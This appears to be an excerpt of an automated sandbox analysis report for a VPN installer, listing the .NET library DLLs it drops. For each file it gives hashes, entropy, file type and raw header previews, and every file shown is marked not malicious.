Preview:	TUhp7MNjt0usZD6a7B1G+U7AoHHbWrEfg/gdOjKDy18K2k+JnwSLNMBZGtZgL+iqUpfodglJ.TUhp7MNjt0usZD6a7B1G+U7AoHHbWrEfg/gdOjKDy18K2k+JnwOKPMBpCsh/ZveltQwPdjpYNuEON+Ukb74aOJ5LffCvQjE=.TUhp7MNjt0usZD6a7B1G+U7AoHHbWrEfg/gdOjKDy18K2k+JnwSLNMBmEdB2IfWtH8Q0ZjTq+w1MWQ80Ew==.TUhp7MNjt0usZD6a7B1G+U7AoHHbWrEfg/gdOjKDy18K2k+JnwyoD4xqCcF/D+mtECH35eFcAKwKYxsQG9sWzxBgaBr5dmcnuiMSQuj7a4G9GkbRzhU2g70eJY43Y4K0nwfCQpEQHsIEvjGoSAdZLl0d4XrIJ8QtnUFdcjr9R2RHfbeyq2RBH1l2/TEIvj+yrKtkAj/bAMF/NuSuEcGlHyuGDAyen8Iy2BOTkQ500irShjsZVrOCl4sXBNWCWUBIwgbx0TB8TmEeMx6vWd3hCHioMbbK/CMcXisNjxz9jvP+2ZyXrSbPbJgewWcvT53BNU0qf14incjHkQaK1rWzDiCD9/c32A4kaY/kEDn1ZoEaQl2ILKP7OHJxmjBZwhJUVbIsu9EXkd5N4xYG96St2rBtuM2HgpZp5WR6HYsGGicliRzliHIxJXLYrZmxha4UJ7VruEom0gbFOUhts+1K8/J234Xnl0Cj6g2+DmlF3OtM77kp8ePeh55YHMT9qdggsw0ryeZZQILNSHAxgR59Mk717UxdpXlq5kIvwa8nQmXbxQMNDHjOcT3Qh8sCh06+vXMa.TUhp7MNjt0usZD6a7B1G+U7AoHHbWrEfg/gdOjKDy18K2k+JnwOrEYVhC4R2KPGtY3Kv5Yin3DLklfEIbZNXyu3oQA==.TUhp7MNjt0usZD6a7B1G+U7AoHHbVb8fg/gdOjKDy1cBQoIwnQSL5b1udLcuswSRBKirXNM

C:\Program Files (x86)\letsvpn\app-3.7.0\MdXaml.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	122856
Entropy (8bit):	6.257519931937882
Encrypted:	false
SSDEEP:	1536:Y0OQlavbPZKNK9hhmPZEMn5xGFE45N+cX8fZzd97WWhT5wNSAQr7YTFoVaoOT8TS:Yb5vb/lmhMNGzWWhTdTK5N8jhsv
MD5:	72E7F84648E080CBDD8A194626E88759
SHA1:	DAF9925865D0B4DFF2097F5CADBC8A0E6A715EE9
SHA-256:	BAE1268F438CCCA1EA055810C626DC975A650F919713B9F117F1FAC859218A01
SHA-512:	121AF118BEB639A8877995FD9721E5D620CA91A5C689D106392D00002F8C966040C5414AE16511439EE1997AD6794BFD5FF7A81413709DF3A13507D2C7ADD06A
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....w..........." ..0.............R.... ........... ....................... ......m.....`.....................................O........................+..........4...T............................................ ............... ..H............text...X.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B................3.......H........z..@...........,D...............................................(......0..l.......r...p.s.........( ....o!......s"....+%...n...%....o#.....~............o$....o%...%.-....,..o......,..o...........$.3W..........Ea......f~....-.(....~......o&.....{...."..}......{...."..}......{...."..}......{...."..}......{...."..}......{...."..}......{ ..."..} ...F.~!...('...t....6.~!....((.....{"..."..}".....{#..."..}#.....{$..."..}$.....{%..."..}%...*..{&...

C:\Program Files (x86)\letsvpn\app-3.7.0\Microsoft.AppCenter.Analytics.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	24552
Entropy (8bit):	6.6217913580903724
Encrypted:	false
SSDEEP:	384:2H9ooU6Xrcnt9sXZ0WQb+Jx4veT6pmj7tkWUVMWRFpwKANynsAw/98E9VF3AM+o3:2H9oR6XScb7Fj7t60Aw/KENAMx+4/
MD5:	66C75FA4A4A02B410968486529A30E24
SHA1:	8F82372DD4236ABEF9E9D4B0717D31B43730E205
SHA-256:	8EC488C0492AA2356A90F02612A1064833396AE160C9F3A0207A182719B0F4FF
SHA-512:	F5F0CFE51611199FDEEE009D7868CD86F18E10C9DB8BDABF4B85187C44D1FB0F496B7A58D87B54AC763E82720171161DF2D7EB1CB95FE91CDF376B448E91EDEC
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...,.q..........." ..0..,...........J... ...`....... ...................................`.................................UJ..O....`...............4...+..........@I..T............................................ ............... ..H............text....... ...,.................. ..`.rsrc........`......................@..@.reloc...............2..............@..B.................J......H.......`...............................................................0..H.........~....,...~....~..........(......~....%-.&s....%...........,..(..............#<.......0..%.......~..........(...............,..(.........................0..........~..........(....(....o....(...+....,..(.................".......0..0.......~..........(....(.....o.....(...+....,..(...............$.......0..).......~..........(....(......o.......,..(.........................0..C........(..

C:\Program Files (x86)\letsvpn\app-3.7.0\Microsoft.AppCenter.Crashes.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	53224
Entropy (8bit):	6.275569224094001
Encrypted:	false
SSDEEP:	768:Rqr8YZ2IPJ1hCmfPzcscksOOWwp/fFCHUHGoH0w8eKYIySh6TeAw/KENAMxet:R3aJBOkAHaUm08eKYIITeAwrxet
MD5:	82060B7900E49417E7ECDCD3540D0B96
SHA1:	B53613F50277687FB109AD264D434D41344FDF85
SHA-256:	E8BD0BD9D47C71A4E53D4509B857FFF651DDE15F233FF6DF1231A429981E97BA
SHA-512:	D99C273C15DBFFCEEAD759493C11BACCFAB2B0AE6B9DDC1E24F57D3E53B90B1763979196FBE0411BDCC51FB17E4FB4B043697E31B3BAB56E17533BA3D7B79F21
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L..............." ..0.................. ........... ..............................h.....`.....................................O........................+..............T............................................ ............... ..H............text........ ...................... ..`.rsrc...............................@..@.reloc..............................@..B.......................H........D...t..........................................................&...(....2.r...p(......0..'.......~.........(....t............(...+...3...0..'.......~.........(....t............(...+...3...0..'.......~.........(....t............(...+...3...0..'.......~.........(....t............(...+...3...0..'.......~.........(....t............(...+...3...0..'.......~.........(....t............(...+...3...(.....(......(.....(.....(.....(.....s....zr.-.rM..pro..p(....*..

C:\Program Files (x86)\letsvpn\app-3.7.0\Microsoft.AppCenter.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	143336
Entropy (8bit):	6.0318032972154745
Encrypted:	false
SSDEEP:	3072:5XiDdWM0c7K9ES99d3+uVIQNlHK6Uav1vP8F6IhP:ydWM0cW9EONvHKwvP8FbhP
MD5:	E1A6E9B02C3E399663B04EE1451C5964
SHA1:	FCF6688E0C7A1D64F701917C9822F643293F6FB7
SHA-256:	D7F1E857998B35DB917D1355B3329FE78B456D868C6AABDCF1123C4135948641
SHA-512:	D497E94094D5B5242E4EBEA7922446564075859D4E5D3542DA47D7C0B01CC50DC1BBACC09EC070B9B86F4004ED2CC81C6D0807D59047AD2B5A426ED8A037052D
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....gu..........." ..0.............f.... ... ....... .......................`............`.....................................O.... ..\|................+...@..........T............................................ ............... ..H............text...\|.... ...................... ..`.rsrc...\|.... ......................@..@.reloc.......@......................@..B................H.......H...........PR...........................................................0..H.........~....,...~....~..........(......~....%-.&s....%...........,..(..............#<.......0..%.......~..........(...............,..(.........................(g.....(h.....,..o.......(e...r...p(n....(......0..#.......~..........(.............,..(.......................0..#.......~..........(.............,..(.......................0..........~..........(....(....o....(...+....,..(........

C:\Program Files (x86)\letsvpn\app-3.7.0\Microsoft.Bcl.AsyncInterfaces.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	24040
Entropy (8bit):	6.6998442362852
Encrypted:	false
SSDEEP:	384:p/9b512C4dABe070VJI0Ftdalemxxf34wqsWeb/WjLBpwKANynsAw/98E9VF3AM2:p/f1IDjV9UPPpW0Aw/KENAMxmHJ
MD5:	3D8A9CF664C2874A9F6880D5F1F51236
SHA1:	D6B9D9A8A2A69028CA9B3F72026185AAA115FDDD
SHA-256:	9FAA1B1F24E9B4A5C758D92880A33F4DFF31ACF53619829F2E7BB6B7790C6D99
SHA-512:	BA83C0528D87F169E76348241F9B55A24DB2F979E545A0F71F1A46F459AB6DB364AE1AFE731DB001615E48F372BFC9A8BFDA19BF00C25F935CD8A718F38DCDC0
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....Q..........." ..0..&...........E... ...`....... ....................................`.................................[E..O....`...............2...+..........hD..T............................................ ............... ..H............text....%... ...&.................. ..`.rsrc........`.......(..............@..@.reloc...............0..............@..B.................E......H.......4&.......................C........................................(......(.....0....................(....}.....6.\|.....(...+:.\|......(...+:.\|......(...+2.\|....(......{....%-.&.\|....s.....(....%-.&.{...."..(....>..}......}......0...........{....o........{....(....Z..}......}......}....N.{......{....s ...N.{.....{.....s ...v.{.....{....o!....{....s".....(...."..s.....0.....................s#...&...s#.....{$..."..}$...*.0..F.........{%....Xh}%.....}&.

C:\Program Files (x86)\letsvpn\app-3.7.0\Microsoft.Expression.Interactions.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	102888
Entropy (8bit):	6.1353570583456385
Encrypted:	false
SSDEEP:	1536:Arf5GttgxHXEuRmG5rtkGY4CEmWAxXSSYhhS98ca2Wvsd65FJDlGWwkEyKAwrxSb:05GttWHXEUx5r65LxXshk8JDIWPKhQb
MD5:	26143B75BA521764BF8EB97540DC1834
SHA1:	72E72353C19630720D8DC7BD33960F79F972E110
SHA-256:	D9580C8F08D51207AAD292C459DF017976A6E9CFC7EFE9EBDC3EE97B3C528C74
SHA-512:	044FBB7E12102D3348C295E325AC5289974FFFF155934BB990E158B1352E3D9760AFB35A3BCE6AA0A8415DAB160D958AEF3588DD5021DC33D495E34623062F29
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...eu.K...........!.....\...........z... ........@.. ..............................v.....@..................................y..K....................f...+...........x............................................... ............... ..H............text...$Z... ...\.................. ..`.rsrc................^..............@..@.reloc...............d..............@..B.................z......H...........L...........x...1...P ........................................z...y.k.....bdd I..`..).PsR@... .aL...%:...y.....XDgM.X}..~)2.v-..4..........EAZZ...,..[..H...o5C.o...5/I.m.!2...#.:.(......}....:.(......}.......0..)........{.........(....t......\|......(...+...3.....0..)........{.........(....t......\|......(...+...3."..(...."..(........{....,..{.....o.....{....o....2.~....(....6.~.....(....F.~....(....td...6.~.....(....J.(.....s ...}....*F.(...

C:\Program Files (x86)\letsvpn\app-3.7.0\Microsoft.Web.WebView2.Core.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	145896
Entropy (8bit):	5.796559165483351
Encrypted:	false
SSDEEP:	3072:PSiitDW10Oug94BeCCepM1STU/xnW+W6jfM0amyw0VzGLC1grekKtk0do/9o8afw:qiNang9meCCepM1ST+xnW+W6jfM0amyM
MD5:	4FE29372BE1C3B98B5A129F4FFAF75D4
SHA1:	E8DD2E3D96C26E6D4DDD532AF0AA9974248CFAC5
SHA-256:	E6DF6C0ACF073FBBF14F315A9572B029325DF5C27692A34EAB169AA0680F47C7
SHA-512:	E948225AA03843339EA13FB801C819F3AA8DD171F944A54F7E32BA109E5E9F994CCE1B282C91A35356428B2446D267512A3665AC51395C15E30D36355E6686F9
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...vJ.`.........." ..0..............$... ...@....... ...............................n....@..................................$..O....@...................+...`......T#............................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................$......H........q......................".......................................0..H.........(....o.........,....+..{.........,....(....o....s`...}......{.....+...0..a.........(.........,R..(....o......uQ........, .sd.....uQ........{....o6.....+...r...ps........og..........0..>.........{.........,%....{....ti...}.........ru..p.s)...z..{.....+.............$......&...}....z..}.....(.......}.....(.....>.(....o.......R.(.....-..+..o........0............(....o....(.....+..*R..(..

C:\Program Files (x86)\letsvpn\app-3.7.0\Microsoft.Web.WebView2.WinForms.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	31208
Entropy (8bit):	6.533726828569594
Encrypted:	false
SSDEEP:	768:NLNoCdzhFQj/hJTBbGXZDDcULH4JVrwRSgBucQgJa5/Zi/dUDyqz1POMr1Aw/KEa:NLqCHmTxGXZDDcULH4JVrwRSgBuvgJau
MD5:	E2AE30A3F257602FC3F1C43CCD2031F4
SHA1:	58F2B71D1162AE9FCDDF429EB278B0E9A98ADF86
SHA-256:	2113EE12B5FA9BAA3E11F199E9F32F77ADA99C2C4526FC7F3B78A48986DC34AA
SHA-512:	0147CE1E1AB792862D2A6C13E81EA72BDDDFEA23A4AF65361FC8EE3C1D98C9003079396D06A542CC77A7AB95BC1CEA15824BA7237AEEE5B57E740943C87C0A7B
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...dCd..........." ..0..D...........b... ........... ....................................`..................................b..O....................N...+...........a..8............................................ ............... ..H............text....B... ...D.................. ..`.rsrc................F..............@..@.reloc...............L..............@..B.................b......H........0..h0..................Da........................................(......{....>..}......}......{....>..}......}......{....>..}......}......{....-%..(.....(......(......s....(....}.....{....r.#.......?}.....(.....(I.....,..(....,..(....,..(.....{....,..{....o......(.....0..................s....(............s....(.....(.......?...s ...o!....(.......>...s"...o#....(.......A...s$...o%....(.......@...s&...o'....(.......B...s(...o)....{.......C...s...o+....{....

C:\Program Files (x86)\letsvpn\app-3.7.0\Microsoft.Web.WebView2.Wpf.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	33768
Entropy (8bit):	6.526077258248235
Encrypted:	false
SSDEEP:	768:CnD8wecsVygSvqa8ZDPLryER0SO4JVrTYIWUpDkS/Ka5/Bi/W7v4F4zfKwSAw/Kt:C7eN4vqa8ZDPLryER0SO4JVrTYIWUpDH
MD5:	C128F964B9B57928E3C88ADDAD3BCD98
SHA1:	EEDCA6F35B7B013A9B40C80F7ED9A12E4A6C3F79
SHA-256:	E89D9139DBFF8377D47B6DA01C5A538368B03CBD99329BDE590C6287A28DEBCD
SHA-512:	C43EED9D4F062575E3EF34F35A1015F1E70E3A7D2CAD16DCB65991808282E8FBBB261796363BC8D569D52ACEEBF5109C0B18335065F3D9DBAEE4DD5039E1A831
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...]............" ..0..P...........n... ........... ...............................Z....`.................................Gn..O....................X...+..........xm..8............................................ ............... ..H............text....N... ...P.................. ..`.rsrc................R..............@..@.reloc...............V..............@..B................{n......H........5...7...................l........................................(....F.~....(....t:...6.~.....(....F.~....(....t:...6.~.....(....F.~....(....t:...6.~.....(....6.t.....}......{....-%..(.....(......(......s....(....}.....{......0..........r...p.:...(.........(............s....s....(.........r1..p.:...(.........(............s....s....(.........rO..p.:...(.........(............s....s....(.........J.s....}.....(....F.~....(....t....6.~.....(....*V.t....o....,

C:\Program Files (x86)\letsvpn\app-3.7.0\Microsoft.Win32.Primitives.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	16360
Entropy (8bit):	6.900740061079095
Encrypted:	false
SSDEEP:	384:xN9VWhX3WZlpwKANynsAw/98E9VF3AM+oj3S4L:TGnAw/KENAMxl
MD5:	6AE6A4F8D789276D6314D708DC8BCAFC
SHA1:	2AE5D07B8F70B60FCD55FFC77D3B8EDA7F8264E6
SHA-256:	996958AAD17A7834CBC2AAD9F1B8512298F00ADAE044127B1D6ADA086C677C1D
SHA-512:	6983095B266FAEFAE7F99A0C4AD6E49011E70D57D69AB1F9970D5E0E5FB54BF7E668E365418DC351BE976D21083FEA26C6AA4DAD89925DF49F9834DC54810363
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...?..Y.........." ..0..............(... ...@....... ..............................`.....@.................................T(..O....@..0................+...`.......'............................................... ............... ..H............text........ ...................... ..`.rsrc...0....@......................@..@.reloc.......`......................@..B.................(......H.......P ..L....................&......................................BSJB............v4.0.30319......l...\|...#~......<...#Strings....$.......#US.(.......#GUID...8.......#Blob......................3......................................................\.....0...........D.................C.................[.....x.....-.........................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;.....C.7...K.W...S.

C:\Program Files (x86)\letsvpn\app-3.7.0\Microsoft.Win32.Registry.AccessControl.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	21992
Entropy (8bit):	6.72214788103536
Encrypted:	false
SSDEEP:	384:pSk7xWUHIx0S3WF7rWT6pwKANynsAw/98E9VF3AM+oMy8VE0:p/0UHU0SOCAw/KENAMxij
MD5:	A025379B6C75C72D0B2E44389E1B952E
SHA1:	D73E236D873F78D130A8BFF84D81F9651818D3C9
SHA-256:	399A4963849D90B614A53DD32138B7E5356711766A7DAD2D2563F1BF21D04533
SHA-512:	43B1C7A184049D562B33905802A8076160B6128DC236E0D9E92B3958100E22771DCB698D1554A6582BE40D6A1CB2E3DA8E7D47FA01A3CEFE433D781BF495826D
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...9.2..........." ..0..............=... ...@....... ....................................`..................................<..O....@..................+...`.......;..T............................................ ............... ..H............text........ ...................... ..`.rsrc........@....... ..............@..@.reloc.......`.......(..............@..B.................<......H....... "...............8..(... ;........................................(....^.(...........%...}....:.(......}....:.(......}....:.(......}....:.(......}......{...."..(...."..(...."..(...."..(...."..(......(......(......(......(....:.(......}......{....:.(......}......{....:.(......}......{......(....:.(......}......{....^.(...........%...}....:.(......}......{....z.(......}...........%...}....V.(......}......}......{......{....*V.-.r...ps....z

C:\Program Files (x86)\letsvpn\app-3.7.0\Microsoft.Win32.Registry.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	28648
Entropy (8bit):	6.429096413867927
Encrypted:	false
SSDEEP:	384:H4nLpSumfSQrlHViaCZYvLPQmlJLfjnWn6GWYnapwKANynsAw/98E9VF3AM+oPJh:H4QVrxViR9mlxdQAw/KENAMx5Z
MD5:	E108E97E32B706D301DF5A37425D03C4
SHA1:	9389C212DDDC18895E64B4F220FD7A86580FA8D0
SHA-256:	F39A30101A7913E4BAC2A02FF46DF2430C36A5AA5056AB6BBF9EEEACA08642DD
SHA-512:	CDA4A950F1BF4443837245EDC837446A775FA9D904EA4D3E0F08EBC9F21D46F1FFBECF6033459F9FF59996F5A326A0169142FC1D134B6250F26E513420ED310C
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....j............" ..0..:..........jX... ...`....... ....................................`..................................X..O....`...............D...+..........$W..T............................................ ............... ..H............text...p8... ...:.................. ..`.rsrc........`.......<..............@..@.reloc...............B..............@..B................LX......H........$..8"...........G.......V.......................................~......0..1.......(....,..%-.&...(.....o.......&...,...o....,.......................(....,.r...p......%...%...(......(.....(....,.r...p......%...%...%...(.......(.....(....,!r...p......%...%...%...%...(........(......,&(....,..r...pr...p.(....(......(......(....,.r...p......%...%...(.......(.....(....,.r...p......%...%...%...(........(.....(....,"r...p......%...%...%...%....(..........(

C:\Program Files (x86)\letsvpn\app-3.7.0\Microsoft.Win32.SystemEvents.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	24552
Entropy (8bit):	6.628605811172365
Encrypted:	false
SSDEEP:	384:SdIaf4rbDyIb/KcWCNRWr7JWUUpwKANynsAw/98E9VF3AM+oCOF193:S+THDHbs6GxAw/KENAMxZ
MD5:	C178E4F20A22104A87D1D301BEC6BCF0
SHA1:	DFAE98F4FBADFA9FC30EA13712A41EA0FFCD2D62
SHA-256:	6F295B2B9F08E75C0A867A72A4DA065CF67AB2497FEFE5C508656224D1D9C132
SHA-512:	7329803D5BC9A6C1AE6F5D1FEDDA531574A831DC42660DA86547A8DBD89DC417E5B2FB3DF3AEB820C3AA67C2BD70792E216FFB26D0CF4D25CC3D94E74EA65253
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...8............." ..0.............H... ...`....... ..............................K.....`.................................yH..O....`..d............4...+...........G..T............................................ ............... ..H............text....(... ..................... ..`.rsrc...d....`.......,..............@..@.reloc...............2..............@..B.................H......H........$...............A.......G.......................................~......0..........(....,....(.....o.......&......................0...........(.......(....-..,....(....,.r...p......%...%...(......(.....(....,.r...p......%...%...%...(.......(.....(....,!r...p......%...%...%...%...(........(......,&(....,..r...pr...p.(....(......(......(....,.r...p......%...%...(.......(.....(....,.r...p......%...%...%...(........(.....(....,"r...p......%...%...%...%..

C:\Program Files (x86)\letsvpn\app-3.7.0\Mono.Cecil.Mdb.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	54248
Entropy (8bit):	6.2657358784437305
Encrypted:	false
SSDEEP:	1536:4r59g98C87KHeBUbwgKirbdwMRTzAt9lvAwrxv:4r5HC87rUbwgKirJw1DlvhF
MD5:	5F912B02B5018CDBD77E3F6135DE9E52
SHA1:	60D764249C80D53BD6E231F65C9DA4639E54037E
SHA-256:	916AE6CDA1296A87744B4899B4045E7808C836953FF571206389D8BE3DB94C24
SHA-512:	91990A0BF9883F68A96C03F03B2B469CB2010DC0D2C07C683E336E038B18478474999E387CFDFDAE2D5CBAC5443429E2075F7FE60996D4CEDBA26A5E6E308533
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....u-..........." ..0................. ........... ....................................@.....................................O.......`................+..............T............................................ ............... ..H............text....... ...................... ..`.rsrc...`...........................@..@.reloc..............................@..B.......................H........a..x\..................@.........................................(....:...(....(....&...(...."..(...."..(...."..(......(.....0..,........o....o......o.....jo.....o.....o.....o......s....}.....s....}.....s....}......2}.....(.....s4...}....b.{.....o ....{....o!...b.{.....o"....{....o#...6.{.....o$....0..-........{....,.s%...z................s.......(.......{....,.s%...z.{....-..s&...}.....{......sS...o'.....{....,.s%...z.{.....o(.......oU...*..{....,.s%..

C:\Program Files (x86)\letsvpn\app-3.7.0\Mono.Cecil.Pdb.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	100328
Entropy (8bit):	6.409382993059922
Encrypted:	false
SSDEEP:	1536:6U2qJ+RazRt/Kc4oJiOxFR4NdJF0/RfhF46HAoYKHgPzpS6w7fa1C9rYAwrx6a:d2MRtrfrR+Pe/xAiAzpQ7y1C9rYhz
MD5:	4851542D15F473DFEEC7B33A4F32C8C7
SHA1:	75CBD86A12D6B6083DA3E9E4E758B0839F8EDA7F
SHA-256:	3B3A2F33D6F7578FC3F76E9013F7FBBB7049DD91A2E7F0943427385C03D7A354
SHA-512:	3F11406FCA0135EF0F32EC2314B9419A03B9C3ACA5712D3C1774AAE3CA6B1999BEC8C742057D6A2DCA2CB5D6583CF713B676E8C9BE36E844CFDBA7B27BE899A0
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....rd..........." ..0..T...........q... ........... ..............................P.....@.................................eq..O.......`............\...+...........p..T............................................ ............... ..H............text....S... ...T.................. ..`.rsrc...`............V..............@..@.reloc...............Z..............@..B.................q......H.......<s.......................p......................................:.(......}......{....-...{....(.....{......o......{....-...{....(.....{......o........0..a........s....}.....s....}.....o....o.....+(.o......{.....o.......(.....o......(.....o....-....,..o..............".4V.......0..J........o....o ....+"..(!.....{.....o.......(.....o".....(#...-...........o.....*........../;.......s$...z.s$...z.s$...z.s$...z.s$...z.s$...z.s$...z.s$...z.s$...z.s$...z.s$...z.s$...z.s$.

C:\Program Files (x86)\letsvpn\app-3.7.0\Mono.Cecil.Rocks.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	38888
Entropy (8bit):	6.463590680052079
Encrypted:	false
SSDEEP:	768:O+meiCyrXOwS8uRssveum1peFLHFBbOlAw/KENAMxmu:VyrewFassveuPbBClAwrxmu
MD5:	5E8A53A04F7ABE9AB061B37DEEC8511D
SHA1:	5C311F2CC04C39B0513756666C927D9314BDC311
SHA-256:	1CBE439C581945DEBCEE01F878FE8BED6AD656DBA0EA292D50673382DB23BBC1
SHA-512:	40291DA82EB567EA2EA55B281DD531CCD5265845988F542A966E1A082E0DC3D7CD8E3A0A003DA43B789822A6A775C3EB522DEBA523A73E1B702663DE510E422A
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....i............" ..0..d............... ........... ............................... ....@....................................O.......l............l...+..............T............................................ ............... ..H............text...4c... ...d.................. ..`.rsrc...l............f..............@..@.reloc...............j..............@..B........................H.......,A..\@..........................................................J.(.....s....}......F.(......E.(....z.{.....To.....:o....&...(.....0..a.........M.(.....o....,,.{.....`o.....`o....&.{.....o....o....o....&.o....,...o....(.....(....,...(......-.r...ps ...z.o!...,%.o"...r...p(#...-..o"...r#..p(#.....n.{.....~o....&..o$...(....z..P.(.....o%...,...o&...(......{.....(o....&.........s'...(...+.{.....)o....&*..0..3........o(.......YE........3...........m...&...`...

C:\Program Files (x86)\letsvpn\app-3.7.0\Mono.Cecil.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	356328
Entropy (8bit):	6.244422689325779
Encrypted:	false
SSDEEP:	6144:yFzzF5VOCxfiKKhsw4NiL0XRzx9WoCklyusbhpn:adfiKI4RzWSyuCpn
MD5:	01BA6600DBA7BD569BB0958221B04F71
SHA1:	5091DDB5E431E18FA6CBAB16E052EE683A7491F7
SHA-256:	5A4A92EC8FF9C0A8B0502B38E89EAF5398205DBD23C87DBED2D77B7B390477B8
SHA-512:	57C8A6B04B2BB4D4C7C98D55871237D010877D8213DDD6A934AA44E37F50974DF9CCD0910A164045CEA18D7572C09CFD18EDAB2CC54E371714FF2093984EE6D9
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...i.}..........." ..0..<...........Q... ...`....... ..............................'.....@..................................Q..O....`..H............D...+...........P..T............................................ ............... ..H............text....:... ...<.................. ..`.rsrc...H....`.......>..............@..@.reloc...............B..............@..B.................Q......H........b..@...................DP......................................"..s0..."..s0...>..}1.....}2.....{1....O...,..{2...,..{1....O...o&...2..O....3...6.r...p.(4.....(5.....}6......i.O...}7....{6....{7.....i(8.....}9...2....i.(:...>..s;.....(<...V..{7....{6.....(=.....0..1..........Y./....X.[......(=.........(=..........(>.......0.._..............+P.../5.../..{9......O......O...o?....0.....%.X..O....O...+.....%.X..O....O.....X....2.*z...X...b...X...b`...X..b`...

C:\Program Files (x86)\letsvpn\app-3.7.0\Newtonsoft.Json.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	711144
Entropy (8bit):	5.963920130457662
Encrypted:	false
